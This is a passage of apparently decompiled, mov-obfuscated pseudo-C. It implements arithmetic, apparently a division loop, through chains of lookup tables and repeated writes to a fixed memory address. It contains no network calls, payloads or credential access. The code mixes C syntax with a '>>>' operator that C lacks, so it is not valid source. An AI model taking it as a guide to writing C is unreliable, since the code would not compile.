int v260 = *(int*)(alu_c * 4 + *(int*)(*(int*)(((unsigned int)*(short*)(((unsigned int)*(short*)((char*)&alu_y + 2) | ((unsigned int)(unsigned short)(v258 >>> 16) << 16)) * 2 + &alu_inv16) | ((unsigned int)(unsigned short)(v258 >>> 16) << 16)) * 4 + *(int*)(((unsigned int)*(short*)((char*)&alu_x + 2) | ((unsigned int)(unsigned short)(v257 >>> 16) << 16)) * 4 + &alu_add16)) * 4 + &alu_add16));
*(short*)((char*)&alu_t + 2) = (unsigned short)v260;
*(int*)0x81FCFEE = v260;
alu_t = (unsigned int)*(unsigned char*)((unsigned int)*(char*)&alu_c + (int)&alu_true);
unsigned int v261 = alu_t;
alu_psel_r = *(unsigned int*)(v261 * 4 + (int)&alu_sel_r);
alu_psel_q = *(unsigned int*)(v261 * 4 + (int)&alu_sel_q);
alu_sr = *alu_psel_r;
alu_x = alu_sr;
alu_y = alu_d;
alu_c = 1;
int v262 = (unsigned int)*(short*)&alu_x;
unsigned int v263 = alu_c;
int v264 = *(int*)(v263 * 4 + *(int*)(*(int*)((unsigned int)*(unsigned short*)((unsigned int)*(short*)&alu_y * 2 + (int)&alu_inv16) * 4 + *(unsigned int*)(v262 * 4 + (int)&alu_add16)) * 4 + &alu_add16));
*(short*)&alu_sr = (unsigned short)v264;
*(int*)0x81FCFEE = v264;
int v265 = *(int*)(alu_c * 4 + *(int*)(*(int*)(((unsigned int)*(short*)(((unsigned int)*(short*)((char*)&alu_y + 2) | ((unsigned int)(unsigned short)(v263 >>> 16) << 16)) * 2 + &alu_inv16) | ((unsigned int)(unsigned short)(v263 >>> 16) << 16)) * 4 + *(int*)(((unsigned int)*(short*)((char*)&alu_x + 2) | ((unsigned int)(unsigned short)(v262 >>> 16) << 16)) * 4 + &alu_add16)) * 4 + &alu_add16));
*(short*)((char*)&alu_sr + 2) = (unsigned short)v265;
*(int*)0x81FCFEE = v265;
*alu_psel_r = alu_sr;
alu_sq = *alu_psel_q;
*((char*)&alu_sq + 2) = *(char*)((unsigned int)*((char*)&alu_sq + 2) + &alu_b_s_1);
*alu_psel_q = alu_sq;
alu_c = *(unsigned int*)((unsigned int)*((char*)&alu_n + 2) * 4 + (int)&alu_b0);
unsigned int v266 = *(unsigned int*)((unsigned int)*(char*)&alu_c * 4 + *(unsigned int*)((unsigned int)*(char*)&alu_r * 4 + (int)&alu_div_shl3_8_d) + (int)&alu_div_shl1_8_c_d);
*(char*)&alu_r = (unsigned char)v266;
*(char*)&alu_c = (unsigned char)(v266 >>> 8);
unsigned int v267 = *(unsigned int*)((unsigned int)*(char*)&alu_c * 4 + *(unsigned int*)((unsigned int)*((char*)&alu_r + 1) * 4 + (int)&alu_div_shl3_8_d) + (int)&alu_div_shl1_8_c_d);
*((char*)&alu_r + 1) = (unsigned char)v267;
*(char*)&alu_c = (unsigned char)(v267 >>> 8);
unsigned int v268 = *(unsigned int*)((unsigned int)*(char*)&alu_c * 4 + *(unsigned int*)((unsigned int)*((char*)&alu_r + 2) * 4 + (int)&alu_div_shl3_8_d) + (int)&alu_div_shl1_8_c_d);
*((char*)&alu_r + 2) = (unsigned char)v268;
*(char*)&alu_c = (unsigned char)(v268 >>> 8);
unsigned int v269 = *(unsigned int*)((unsigned int)*(char*)&alu_c * 4 + *(unsigned int*)((unsigned int)*((char*)&alu_r + 3) * 4 + (int)&alu_div_shl3_8_d) + (int)&alu_div_shl1_8_c_d);
*((char*)&alu_r + 3) = (unsigned char)v269;
*(char*)&alu_c = (unsigned char)(v269 >>> 8);
alu_x = alu_r;
alu_y = alu_d;
alu_c = 1;
int v270 = (unsigned int)*(short*)&alu_x;
unsigned int v271 = alu_c;
int v272 = *(int*)(v271 * 4 + *(int*)(*(int*)((unsigned int)*(unsigned short*)((unsigned int)*(short*)&alu_y * 2 + (int)&alu_inv16) * 4 + *(unsigned int*)(v270 * 4 + (int)&alu_add16)) * 4 + &alu_add16));
*(short*)&alu_t = (unsigned short)v272;
*(int*)0x81FCFEE = v272;
int v273 = *(int*)(alu_c * 4 + *(int*)(*(int*)(((unsigned int)*(short*)(((unsigned int)*(short*)((char*)&alu_y + 2) | ((unsigned int)(unsigned short)(v271 >>> 16) << 16)) * 2 + &alu_inv16) | ((unsigned int)(unsigned short)(v271 >>> 16) << 16)) * 4 + *(int*)(((unsigned int)*(short*)((char*)&alu_x + 2) | ((unsigned int)(unsigned short)(v270 >>> 16) << 16)) * 4 + &alu_add16)) * 4 + &alu_add16));
*(short*)((char*)&alu_t + 2) = (unsigned short)v273;
*(int*)0x81FCFEE = v273;
alu_t = (unsigned int)*(unsigned char*)((unsigned int)*(char*)&alu_c + (int)&alu_true);
unsigned int v274 = alu_t;
alu_psel_r = *(unsigned int*)(v274 * 4 + (int)&alu_sel_r);
alu_psel_q = *(unsigned int*)(v274 * 4 + (int)&alu_sel_q);
alu_sr = *alu_psel_r;
alu_x = alu_sr;
alu_y = alu_d;
alu_c = 1;
int v275 = (unsigned int)*(short*)&alu_x;
unsigned int v276 = alu_c;
int v277 = *(int*)(v276 * 4 + *(int*)(*(int*)((unsigned int)*(unsigned short*)((unsigned int)*(short*)&alu_y * 2 + (int)&alu_inv16) * 4 + *(unsigned int*)(v275 * 4 + (int)&alu_add16)) * 4 + &alu_add16));
*(short*)&alu_sr = (unsigned short)v277;
*(int*)0x81FCFEE = v277;
int v278 = *(int*)(alu_c * 4 + *(int*)(*(int*)(((unsigned int)*(short*)(((unsigned int)*(short*)((char*)&alu_y + 2) | ((unsigned int)(unsigned short)(v276 >>> 16) << 16)) * 2 + &alu_inv16) | ((unsigned int)(unsigned short)(v276 >>> 16) << 16)) * 4 + *(int*)(((unsigned int)*(short*)((char*)&alu_x + 2) | ((unsigned int)(unsigned short)(v275 >>> 16) << 16)) * 4 + &alu_add16)) * 4 + &alu_add16));
*(short*)((char*)&alu_sr + 2) = (unsigned short)v278;
*(int*)0x81FCFEE = v278;
*alu_psel_r = alu_sr;
alu_sq = *alu_psel_q;
*((char*)&alu_sq + 2) = *(unsigned char*)((unsigned int)*((char*)&alu_sq + 2) + (int)&alu_b_s_0);
*alu_psel_q = alu_sq;
alu_c = *(unsigned int*)((unsigned int)*((char*)&alu_n + 1) * 4 + (int)&alu_b7);
unsigned int v279 = *(unsigned int*)((unsigned int)*(char*)&alu_c * 4 + *(unsigned int*)((unsigned int)*(char*)&alu_r * 4 + (int)&alu_div_shl3_8_d) + (int)&alu_div_shl1_8_c_d);
*(char*)&alu_r = (unsigned char)v279;
*(char*)&alu_c = (unsigned char)(v279 >>> 8);
unsigned int v280 = *(unsigned int*)((unsigned int)*(char*)&alu_c * 4 + *(unsigned int*)((unsigned int)*((char*)&alu_r + 1) * 4 + (int)&alu_div_shl3_8_d) + (int)&alu_div_shl1_8_c_d);
*((char*)&alu_r + 1) = (unsigned char)v280;
*(char*)&alu_c = (unsigned char)(v280 >>> 8);
unsigned int v281 = *(unsigned int*)((unsigned int)*(char*)&alu_c * 4 + *(unsigned int*)((unsigned int)*((char*)&alu_r + 2) * 4 + (int)&alu_div_shl3_8_d) + (int)&alu_div_shl1_8_c_d);
*((char*)&alu_r + 2) = (unsigned char)v281;
*(char*)&alu_c = (unsigned char)(v281 >>> 8);
unsigned int v282 = *(unsigned int*)((unsigned int)*(char*)&alu_c * 4 + *(unsigned int*)((unsigned int)*((char*)&alu_r + 3) * 4 + (int)&alu_div_shl3_8_d) + (int)&alu_div_shl1_8_c_d);
*((char*)&alu_r + 3) = (unsigned char)v282;
*(char*)&alu_c = (unsigned char)(v282 >>> 8);
alu_x = alu_r;
alu_y = alu_d;
alu_c = 1;
int v283 = (unsigned int)*(short*)&alu_x;
unsigned int v284 = alu_c;
int v285 = *(int*)(v284 * 4 + *(int*)(*(int*)((unsigned int)*(unsigned short*)((unsigned int)*(short*)&alu_y * 2 + (int)&alu_inv16) * 4 + *(unsigned int*)(v283 * 4 + (int)&alu_add16)) * 4 + &alu_add16));
*(short*)&alu_t = (unsigned short)v285;
*(int*)0x81FCFEE = v285;
int v286 = *(int*)(alu_c * 4 + *(int*)(*(int*)(((unsigned int)*(short*)(((unsigned int)*(short*)((char*)&alu_y + 2) | ((unsigned int)(unsigned short)(v284 >>> 16) << 16)) * 2 + &alu_inv16) | ((unsigned int)(unsigned short)(v284 >>> 16) << 16)) * 4 + *(int*)(((unsigned int)*(short*)((char*)&alu_x + 2) | ((unsigned int)(unsigned short)(v283 >>> 16) << 16)) * 4 + &alu_add16)) * 4 + &alu_add16));
*(short*)((char*)&alu_t + 2) = (unsigned short)v286;
*(int*)0x81FCFEE = v286;
alu_t = (unsigned int)*(unsigned char*)((unsigned int)*(char*)&alu_c + (int)&alu_true);
unsigned int v287 = alu_t;
alu_psel_r = *(unsigned int*)(v287 * 4 + (int)&alu_sel_r);
alu_psel_q = *(unsigned int*)(v287 * 4 + (int)&alu_sel_q);
alu_sr = *alu_psel_r;
alu_x = alu_sr;
alu_y = alu_d;
alu_c = 1;
int v288 = (unsigned int)*(short*)&alu_x;
unsigned int v289 = alu_c;
int v290 = *(int*)(v289 * 4 + *(int*)(*(int*)((unsigned int)*(unsigned short*)((unsigned int)*(short*)&alu_y * 2 + (int)&alu_inv16) * 4 + *(unsigned int*)(v288 * 4 + (int)&alu_add16)) * 4 + &alu_add16));
*(short*)&alu_sr = (unsigned short)v290;
*(int*)0x81FCFEE = v290;
int v291 = *(int*)(alu_c * 4 + *(int*)(*(int*)(((unsigned int)*(short*)(((unsigned int)*(short*)((char*)&alu_y + 2) | ((unsigned int)(unsigned short)(v289 >>> 16) << 16)) * 2 + &alu_inv16) | ((unsigned int)(unsigned short)(v289 >>> 16) << 16)) * 4 + *(int*)(((unsigned int)*(short*)((char*)&alu_x + 2) | ((unsigned int)(unsigned short)(v288 >>> 16) << 16)) * 4 + &alu_add16)) * 4 + &alu_add16));
*(short*)((char*)&alu_sr + 2) = (unsigned short)v291;
*(int*)0x81FCFEE = v291;
*alu_psel_r = alu_sr;
alu_sq = *alu_psel_q;
*((char*)&alu_sq + 1) = *(unsigned char*)((unsigned int)*((char*)&alu_sq + 1) + (int)&alu_b_s_7);
*alu_psel_q = alu_sq;
alu_c = *(unsigned int*)((unsigned int)*((char*)&alu_n + 1) * 4 + (int)&alu_b6);
unsigned int v292 = *(unsigned int*)((unsigned int)*(char*)&alu_c * 4 + *(unsigned int*)((unsigned int)*(char*)&alu_r * 4 + (int)&alu_div_shl3_8_d) + (int)&alu_div_shl1_8_c_d);
*(char*)&alu_r = (unsigned char)v292;
*(char*)&alu_c = (unsigned char)(v292 >>> 8);
unsigned int v293 = *(unsigned int*)((unsigned int)*(char*)&alu_c * 4 + *(unsigned int*)((unsigned int)*((char*)&alu_r + 1) * 4 + (int)&alu_div_shl3_8_d) + (int)&alu_div_shl1_8_c_d);
*((char*)&alu_r + 1) = (unsigned char)v293;
*(char*)&alu_c = (unsigned char)(v293 >>> 8);
unsigned int v294 = *(unsigned int*)((unsigned int)*(char*)&alu_c * 4 + *(unsigned int*)((unsigned int)*((char*)&alu_r + 2) * 4 + (int)&alu_div_shl3_8_d) + (int)&alu_div_shl1_8_c_d);
*((char*)&alu_r + 2) = (unsigned char)v294;
*(char*)&alu_c = (unsigned char)(v294 >>> 8);
unsigned int v295 = *(unsigned int*)((unsigned int)*(char*)&alu_c * 4 + *(unsigned int*)((unsigned int)*((char*)&alu_r + 3) * 4 + (int)&alu_div_shl3_8_d) + (int)&alu_div_shl1_8_c_d);
*((char*)&alu_r + 3) = (unsigned char)v295;
*(char*)&alu_c = (unsigned char)(v295 >>> 8);
alu_x = alu_r;
alu_y = alu_d;
alu_c = 1;
int v296 = (unsigned int)*(short*)&alu_x;
unsigned int v297 = alu_c;
int v298 = *(int*)(v297 * 4 + *(int*)(*(int*)((unsigned int)*(unsigned short*)((unsigned int)*(short*)&alu_y * 2 + (int)&alu_inv16) * 4 + *(unsigned int*)(v296 * 4 + (int)&alu_add16)) * 4 + &alu_add16));
*(short*)&alu_t = (unsigned short)v298;
*(int*)0x81FCFEE = v298;
int v299 = *(int*)(alu_c * 4 + *(int*)(*(int*)(((unsigned int)*(short*)(((unsigned int)*(short*)((char*)&alu_y + 2) | ((unsigned int)(unsigned short)(v297 >>> 16) << 16)) * 2 + &alu_inv16) | ((unsigned int)(unsigned short)(v297 >>> 16) << 16)) * 4 + *(int*)(((unsigned int)*(short*)((char*)&alu_x + 2) | ((unsigned int)(unsigned short)(v296 >>> 16) << 16)) * 4 + &alu_add16)) * 4 + &alu_add16));
*(short*)((char*)&alu_t + 2) = (unsigned short)v299;
*(int*)0x81FCFEE = v299;
alu_t = (unsigned int)*(unsigned char*)((unsigned int)*(char*)&alu_c + (int)&alu_true);
unsigned int v300 = alu_t;
alu_psel_r = *(unsigned int*)(v300 * 4 + (int)&alu_sel_r);
alu_psel_q = *(unsigned int*)(v300 * 4 + (int)&alu_sel_q);
alu_sr = *alu_psel_r;
alu_x = alu_sr;
alu_y = alu_d;
alu_c = 1;
int v301 = (unsigned int)*(short*)&alu_x;
unsigned int v302 = alu_c;
int v303 = *(int*)(v302 * 4 + *(int*)(*(int*)((unsigned int)*(unsigned short*)((unsigned int)*(short*)&alu_y * 2 + (int)&alu_inv16) * 4 + *(unsigned int*)(v301 * 4 + (int)&alu_add16)) * 4 + &alu_add16));
*(short*)&alu_sr = (unsigned short)v303;
*(int*)0x81FCFEE = v303;
int v304 = *(int*)(alu_c * 4 + *(int*)(*(int*)(((unsigned int)*(short*)(((unsigned int)*(short*)((char*)&alu_y + 2) | ((unsigned int)(unsigned short)(v302 >>> 16) << 16)) * 2 + &alu_inv16) | ((unsigned int)(unsigned short)(v302 >>> 16) << 16)) * 4 + *(int*)(((unsigned int)*(short*)((char*)&alu_x + 2) | ((unsigned int)(unsigned short)(v301 >>> 16) << 16)) * 4 + &alu_add16)) * 4 + &alu_add16));
*(short*)((char*)&alu_sr + 2) = (unsigned short)v304;
*(int*)0x81FCFEE = v304;
*alu_psel_r = alu_sr;
alu_sq = *alu_psel_q;
*((char*)&alu_sq + 1) = *(char*)((unsigned int)*((char*)&alu_sq + 1) + &alu_b_s_6);
*alu_psel_q = alu_sq;
alu_c = *(unsigned int*)((unsigned int)*((char*)&alu_n + 1) * 4 + (int)&alu_b5);
unsigned int v305 = *(unsigned int*)((unsigned int)*(char*)&alu_c * 4 + *(unsigned int*)((unsigned int)*(char*)&alu_r * 4 + (int)&alu_div_shl3_8_d) + (int)&alu_div_shl1_8_c_d);
*(char*)&alu_r = (unsigned char)v305;
*(char*)&alu_c = (unsigned char)(v305 >>> 8);
unsigned int v306 = *(unsigned int*)((unsigned int)*(char*)&alu_c * 4 + *(unsigned int*)((unsigned int)*((char*)&alu_r + 1) * 4 + (int)&alu_div_shl3_8_d) + (int)&alu_div_shl1_8_c_d);
*((char*)&alu_r + 1) = (unsigned char)v306;
*(char*)&alu_c = (unsigned char)(v306 >>> 8);
unsigned int v307 = *(unsigned int*)((unsigned int)*(char*)&alu_c * 4 + *(unsigned int*)((unsigned int)*((char*)&alu_r + 2) * 4 + (int)&alu_div_shl3_8_d) + (int)&alu_div_shl1_8_c_d);
*((char*)&alu_r + 2) = (unsigned char)v307;
*(char*)&alu_c = (unsigned char)(v307 >>> 8);
unsigned int v308 = *(unsigned int*)((unsigned int)*(char*)&alu_c * 4 + *(unsigned int*)((unsigned int)*((char*)&alu_r + 3) * 4 + (int)&alu_div_shl3_8_d) + (int)&alu_div_shl1_8_c_d);
*((char*)&alu_r + 3) = (unsigned char)v308;
*(char*)&alu_c = (unsigned char)(v308 >>> 8);
alu_x = alu_r;
alu_y = alu_d;
alu_c = 1;
int v309 = (unsigned int)*(short*)&alu_x;
unsigned int v310 = alu_c;
int v311 = *(int*)(v310 * 4 + *(int*)(*(int*)((unsigned int)*(unsigned short*)((unsigned int)*(short*)&alu_y * 2 + (int)&alu_inv16) * 4 + *(unsigned int*)(v309 * 4 + (int)&alu_add16)) * 4 + &alu_add16));
*(short*)&alu_t = (unsigned short)v311;
*(int*)0x81FCFEE = v311;
int v312 = *(int*)(alu_c * 4 + *(int*)(*(int*)(((unsigned int)*(short*)(((unsigned int)*(short*)((char*)&alu_y + 2) | ((unsigned int)(unsigned short)(v310 >>> 16) << 16)) * 2 + &alu_inv16) | ((unsigned int)(unsigned short)(v310 >>> 16) << 16)) * 4 + *(int*)(((unsigned int)*(short*)((char*)&alu_x + 2) | ((unsigned int)(unsigned short)(v309 >>> 16) << 16)) * 4 + &alu_add16)) * 4 + &alu_add16));
*(short*)((char*)&alu_t + 2) = (unsigned short)v312;
*(int*)0x81FCFEE = v312;
alu_t = (unsigned int)*(unsigned char*)((unsigned int)*(char*)&alu_c + (int)&alu_true);
unsigned int v313 = alu_t;
alu_psel_r = *(unsigned int*)(v313 * 4 + (int)&alu_sel_r);
alu_psel_q = *(unsigned int*)(v313 * 4 + (int)&alu_sel_q);
alu_sr = *alu_psel_r;
alu_x = alu_sr;
alu_y = alu_d;
alu_c = 1;
int v314 = (unsigned int)*(short*)&alu_x;
unsigned int v315 = alu_c;
int v316 = *(int*)(v315 * 4 + *(int*)(*(int*)((unsigned int)*(unsigned short*)((unsigned int)*(short*)&alu_y * 2 + (int)&alu_inv16) * 4 + *(unsigned int*)(v314 * 4 + (int)&alu_add16)) * 4 + &alu_add16));
*(short*)&alu_sr = (unsigned short)v316;
*(int*)0x81FCFEE = v316;
int v317 = *(int*)(alu_c * 4 + *(int*)(*(int*)(((unsigned int)*(short*)(((unsigned int)*(short*)((char*)&alu_y + 2) | ((unsigned int)(unsigned short)(v315 >>> 16) << 16)) * 2 + &alu_inv16) | ((unsigned int)(unsigned short)(v315 >>> 16) << 16)) * 4 + *(int*)(((unsigned int)*(short*)((char*)&alu_x + 2) | ((unsigned int)(unsigned short)(v314 >>> 16) << 16)) * 4 + &alu_add16)) * 4 + &alu_add16));
*(short*)((char*)&alu_sr + 2) = (unsigned short)v317;
*(int*)0x81FCFEE = v317;
*alu_psel_r = alu_sr;
alu_sq = *alu_psel_q;
*((char*)&alu_sq + 1) = *(char*)((unsigned int)*((char*)&alu_sq + 1) + &alu_b_s_5);
*alu_psel_q = alu_sq;
alu_c = *(unsigned int*)((unsigned int)*((char*)&alu_n + 1) * 4 + (int)&alu_b4);
unsigned int v318 = *(unsigned int*)((unsigned int)*(char*)&alu_c * 4 + *(unsigned int*)((unsigned int)*(char*)&alu_r * 4 + (int)&alu_div_shl3_8_d) + (int)&alu_div_shl1_8_c_d);
*(char*)&alu_r = (unsigned char)v318;
*(char*)&alu_c = (unsigned char)(v318 >>> 8);
unsigned int v319 = *(unsigned int*)((unsigned int)*(char*)&alu_c * 4 + *(unsigned int*)((unsigned int)*((char*)&alu_r + 1) * 4 + (int)&alu_div_shl3_8_d) + (int)&alu_div_shl1_8_c_d);
*((char*)&alu_r + 1) = (unsigned char)v319;
*(char*)&alu_c = (unsigned char)(v319 >>> 8);
unsigned int v320 = *(unsigned int*)((unsigned int)*(char*)&alu_c * 4 + *(unsigned int*)((unsigned int)*((char*)&alu_r + 2) * 4 + (int)&alu_div_shl3_8_d) + (int)&alu_div_shl1_8_c_d);
*((char*)&alu_r + 2) = (unsigned char)v320;
*(char*)&alu_c = (unsigned char)(v320 >>> 8);
unsigned int v321 = *(unsigned int*)((unsigned int)*(char*)&alu_c * 4 + *(unsigned int*)((unsigned int)*((char*)&alu_r + 3) * 4 + (int)&alu_div_shl3_8_d) + (int)&alu_div_shl1_8_c_d);
*((char*)&alu_r + 3) = (unsigned char)v321;
*(char*)&alu_c = (unsigned char)(v321 >>> 8);
alu_x = alu_r;
alu_y = alu_d;
alu_c = 1;
int v322 = (unsigned int)*(short*)&alu_x;
unsigned int v323 = alu_c;
int v324 = *(int*)(v323 * 4 + *(int*)(*(int*)((unsigned int)*(unsigned short*)((unsigned int)*(short*)&alu_y * 2 + (int)&alu_inv16) * 4 + *(unsigned int*)(v322 * 4 + (int)&alu_add16)) * 4 + &alu_add16));
*(short*)&alu_t = (unsigned short)v324;
*(int*)0x81FCFEE = v324;
int v325 = *(int*)(alu_c * 4 + *(int*)(*(int*)(((unsigned int)*(short*)(((unsigned int)*(short*)((char*)&alu_y + 2) | ((unsigned int)(unsigned short)(v323 >>> 16) << 16)) * 2 + &alu_inv16) | ((unsigned int)(unsigned short)(v323 >>> 16) << 16)) * 4 + *(int*)(((unsigned int)*(short*)((char*)&alu_x + 2) | ((unsigned int)(unsigned short)(v322 >>> 16) << 16)) * 4 + &alu_add16)) * 4 + &alu_add16));
*(short*)((char*)&alu_t + 2) = (unsigned short)v325;
*(int*)0x81FCFEE = v325;
alu_t = (unsigned int)*(unsigned char*)((unsigned int)*(char*)&alu_c + (int)&alu_true);
unsigned int v326 = alu_t;
alu_psel_r = *(unsigned int*)(v326 * 4 + (int)&alu_sel_r);
alu_psel_q = *(unsigned int*)(v326 * 4 + (int)&alu_sel_q);
alu_sr = *alu_psel_r;
alu_x = alu_sr;
alu_y = alu_d;
alu_c = 1;
int v327 = (unsigned int)*(short*)&alu_x;
unsigned int v328 = alu_c;
int v329 = *(int*)(v328 * 4 + *(int*)(*(int*)((unsigned int)*(unsigned short*)((unsigned int)*(short*)&alu_y * 2 + (int)&alu_inv16) * 4 + *(unsigned int*)(v327 * 4 + (int)&alu_add16)) * 4 + &alu_add16));
*(short*)&alu_sr = (unsigned short)v329;
*(int*)0x81FCFEE = v329;
int v330 = *(int*)(alu_c * 4 + *(int*)(*(int*)(((unsigned int)*(short*)(((unsigned int)*(short*)((char*)&alu_y + 2) | ((unsigned int)(unsigned short)(v328 >>> 16) << 16)) * 2 + &alu_inv16) | ((unsigned int)(unsigned short)(v328 >>> 16) << 16)) * 4 + *(int*)(((unsigned int)*(short*)((char*)&alu_x + 2) | ((unsigned int)(unsigned short)(v327 >>> 16) << 16)) * 4 + &alu_add16)) * 4 + &alu_add16));
*(short*)((char*)&alu_sr + 2) = (unsigned short)v330;
*(int*)0x81FCFEE = v330;
*alu_psel_r = alu_sr;
alu_sq = *alu_psel_q;
*((char*)&alu_sq + 1) = *(char*)((unsigned int)*((char*)&alu_sq + 1) + &alu_b_s_4);
*alu_psel_q = alu_sq;
alu_c = *(unsigned int*)((unsigned int)*((char*)&alu_n + 1) * 4 + (int)&alu_b3);
unsigned int v331 = *(unsigned int*)((unsigned int)*(char*)&alu_c * 4 + *(unsigned int*)((unsigned int)*(char*)&alu_r * 4 + (int)&alu_div_shl3_8_d) + (int)&alu_div_shl1_8_c_d);
*(char*)&alu_r = (unsigned char)v331;
*(char*)&alu_c = (unsigned char)(v331 >>> 8);
unsigned int v332 = *(unsigned int*)((unsigned int)*(char*)&alu_c * 4 + *(unsigned int*)((unsigned int)*((char*)&alu_r + 1) * 4 + (int)&alu_div_shl3_8_d) + (int)&alu_div_shl1_8_c_d);
*((char*)&alu_r + 1) = (unsigned char)v332;
*(char*)&alu_c = (unsigned char)(v332 >>> 8);
unsigned int v333 = *(unsigned int*)((unsigned int)*(char*)&alu_c * 4 + *(unsigned int*)((unsigned int)*((char*)&alu_r + 2) * 4 + (int)&alu_div_shl3_8_d) + (int)&alu_div_shl1_8_c_d);
*((char*)&alu_r + 2) = (unsigned char)v333;
*(char*)&alu_c = (unsigned char)(v333 >>> 8);
unsigned int v334 = *(unsigned int*)((unsigned int)*(char*)&alu_c * 4 + *(unsigned int*)((unsigned int)*((char*)&alu_r + 3) * 4 + (int)&alu_div_shl3_8_d) + (int)&alu_div_shl1_8_c_d);
*((char*)&alu_r + 3) = (unsigned char)v334;
*(char*)&alu_c = (unsigned char)(v334 >>> 8);
alu_x = alu_r;
alu_y = alu_d;
alu_c = 1;
int v335 = (unsigned int)*(short*)&alu_x;
unsigned int v336 = alu_c;
int v337 = *(int*)(v336 * 4 + *(int*)(*(int*)((unsigned int)*(unsigned short*)((unsigned int)*(short*)&alu_y * 2 + (int)&alu_inv16) * 4 + *(unsigned int*)(v335 * 4 + (int)&alu_add16)) * 4 + &alu_add16));
*(short*)&alu_t = (unsigned short)v337;
*(int*)0x81FCFEE = v337;
int v338 = *(int*)(alu_c * 4 + *(int*)(*(int*)(((unsigned int)*(short*)(((unsigned int)*(short*)((char*)&alu_y + 2) | ((unsigned int)(unsigned short)(v336 >>> 16) << 16)) * 2 + &alu_inv16) | ((unsigned int)(unsigned short)(v336 >>> 16) << 16)) * 4 + *(int*)(((unsigned int)*(short*)((char*)&alu_x + 2) | ((unsigned int)(unsigned short)(v335 >>> 16) << 16)) * 4 + &alu_add16)) * 4 + &alu_add16));
*(short*)((char*)&alu_t + 2) = (unsigned short)v338;
*(int*)0x81FCFEE = v338;
alu_t = (unsigned int)*(unsigned char*)((unsigned int)*(char*)&alu_c + (int)&alu_true);
unsigned int v339 = alu_t;
alu_psel_r = *(unsigned int*)(v339 * 4 + (int)&alu_sel_r);
alu_psel_q = *(unsigned int*)(v339 * 4 + (int)&alu_sel_q);
alu_sr = *alu_psel_r;
alu_x = alu_sr;
alu_y = alu_d;
alu_c = 1;
int v340 = (unsigned int)*(short*)&alu_x;
unsigned int v341 = alu_c;
int v342 = *(int*)(v341 * 4 + *(int*)(*(int*)((unsigned int)*(unsigned short*)((unsigned int)*(short*)&alu_y * 2 + (int)&alu_inv16) * 4 + *(unsigned int*)(v340 * 4 + (int)&alu_add16)) * 4 + &alu_add16));
*(short*)&alu_sr = (unsigned short)v342;
*(int*)0x81FCFEE = v342;
int v343 = *(int*)(alu_c * 4 + *(int*)(*(int*)(((unsigned int)*(short*)(((unsigned int)*(short*)((char*)&alu_y + 2) | ((unsigned int)(unsigned short)(v341 >>> 16) << 16)) * 2 + &alu_inv16) | ((unsigned int)(unsigned short)(v341 >>> 16) << 16)) * 4 + *(int*)(((unsigned int)*(short*)((char*)&alu_x + 2) | ((unsigned int)(unsigned short)(v340 >>> 16) << 16)) * 4 + &alu_add16)) * 4 + &alu_add16));
*(short*)((char*)&alu_sr + 2) = (unsigned short)v343;
*(int*)0x81FCFEE = v343;
*alu_psel_r = alu_sr;
alu_sq = *alu_psel_q;
*((char*)&alu_sq + 1) = *(char*)((unsigned int)*((char*)&alu_sq + 1) + &alu_b_s_3);
*alu_psel_q = alu_sq;
alu_c = *(unsigned int*)((unsigned int)*((char*)&alu_n + 1) * 4 + (int)&alu_b2);
unsigned int v344 = *(unsigned int*)((unsigned int)*(char*)&alu_c * 4 + *(unsigned int*)((unsigned int)*(char*)&alu_r * 4 + (int)&alu_div_shl3_8_d) + (int)&alu_div_shl1_8_c_d);
*(char*)&alu_r = (unsigned char)v344;
*(char*)&alu_c = (unsigned char)(v344 >>> 8);
unsigned int v345 = *(unsigned int*)((unsigned int)*(char*)&alu_c * 4 + *(unsigned int*)((unsigned int)*((char*)&alu_r + 1) * 4 + (int)&alu_div_shl3_8_d) + (int)&alu_div_shl1_8_c_d);
*((char*)&alu_r + 1) = (unsigned char)v345;
*(char*)&alu_c = (unsigned char)(v345 >>> 8);
unsigned int v346 = *(unsigned int*)((unsigned int)*(char*)&alu_c * 4 + *(unsigned int*)((unsigned int)*((char*)&alu_r + 2) * 4 + (int)&alu_div_shl3_8_d) + (int)&alu_div_shl1_8_c_d);
*((char*)&alu_r + 2) = (unsigned char)v346;
*(char*)&alu_c = (unsigned char)(v346 >>> 8);
unsigned int v347 = *(unsigned int*)((unsigned int)*(char*)&alu_c * 4 + *(unsigned int*)((unsigned int)*((char*)&alu_r + 3) * 4 + (int)&alu_div_shl3_8_d) + (int)&alu_div_shl1_8_c_d);
*((char*)&alu_r + 3) = (unsigned char)v347;
*(char*)&alu_c = (unsigned char)(v347 >>> 8);
alu_x = alu_r;
alu_y = alu_d;
alu_c = 1;
int v348 = (unsigned int)*(short*)&alu_x;
unsigned int v349 = alu_c;
int v350 = *(int*)(v349 * 4 + *(int*)(*(int*)((unsigned int)*(unsigned short*)((unsigned int)*(short*)&alu_y * 2 + (int)&alu_inv16) * 4 + *(unsigned int*)(v348 * 4 + (int)&alu_add16)) * 4 + &alu_add16));
*(short*)&alu_t = (unsigned short)v350;
*(int*)0x81FCFEE = v350;
int v351 = *(int*)(alu_c * 4 + *(int*)(*(int*)(((unsigned int)*(short*)(((unsigned int)*(short*)((char*)&alu_y + 2) | ((unsigned int)(unsigned short)(v349 >>> 16) << 16)) * 2 + &alu_inv16) | ((unsigned int)(unsigned short)(v349 >>> 16) << 16)) * 4 + *(int*)(((unsigned int)*(short*)((char*)&alu_x + 2) | ((unsigned int)(unsigned short)(v348 >>> 16) << 16)) * 4 + &alu_add16)) * 4 + &alu_add16));
*(short*)((char*)&alu_t + 2) = (unsigned short)v351;
*(int*)0x81FCFEE = v351;
alu_t = (unsigned int)*(unsigned char*)((unsigned int)*(char*)&alu_c + (int)&alu_true);
unsigned int v352 = alu_t;
alu_psel_r = *(unsigned int*)(v352 * 4 + (int)&alu_sel_r);
alu_psel_q = *(unsigned int*)(v352 * 4 + (int)&alu_sel_q);
alu_sr = *alu_psel_r;
alu_x = alu_sr;
alu_y = alu_d;
alu_c = 1;
int v353 = (unsigned int)*(short*)&alu_x;
unsigned int v354 = alu_c;
int v355 = *(int*)(v354 * 4 + *(int*)(*(int*)((unsigned int)*(unsigned short*)((unsigned int)*(short*)&alu_y * 2 + (int)&alu_inv16) * 4 + *(unsigned int*)(v353 * 4 + (int)&alu_add16)) * 4 + &alu_add16));
*(short*)&alu_sr = (unsigned short)v355;
*(int*)0x81FCFEE = v355;
